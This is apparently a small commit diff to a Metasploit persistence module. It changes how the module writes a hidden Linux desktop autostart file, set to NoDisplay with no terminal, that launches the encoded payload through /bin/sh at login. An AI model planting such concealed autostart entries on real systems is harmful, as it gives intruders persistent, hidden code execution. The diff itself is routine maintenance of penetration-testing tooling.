Fix HEREDOC not always supported

modules/exploits/linux/local/autostart_persistence.rb

@@ -52,14 +52,14 @@ class MetasploitModule < Msf::Exploit::Local
     print_status('Uploading autostart file')
     cmd_exec("rm #{path}")
 
-    write_file(path, <<~HEREDOC
-      [Desktop Entry]
-      Type=Application
-      Name=#{name}
-      NoDisplay=true
-      Terminal=false
-      Exec=/bin/sh -c "#{payload.encoded}"
-    HEREDOC)
+    write_file(path, [
+      "[Desktop Entry]",
+      "Type=Application",
+      "Name=#{name}",
+      "NoDisplay=true",
+      "Terminal=false",
+      "Exec=/bin/sh -c \"#{payload.encoded}\""
+    ].join("\n"))
   end
 end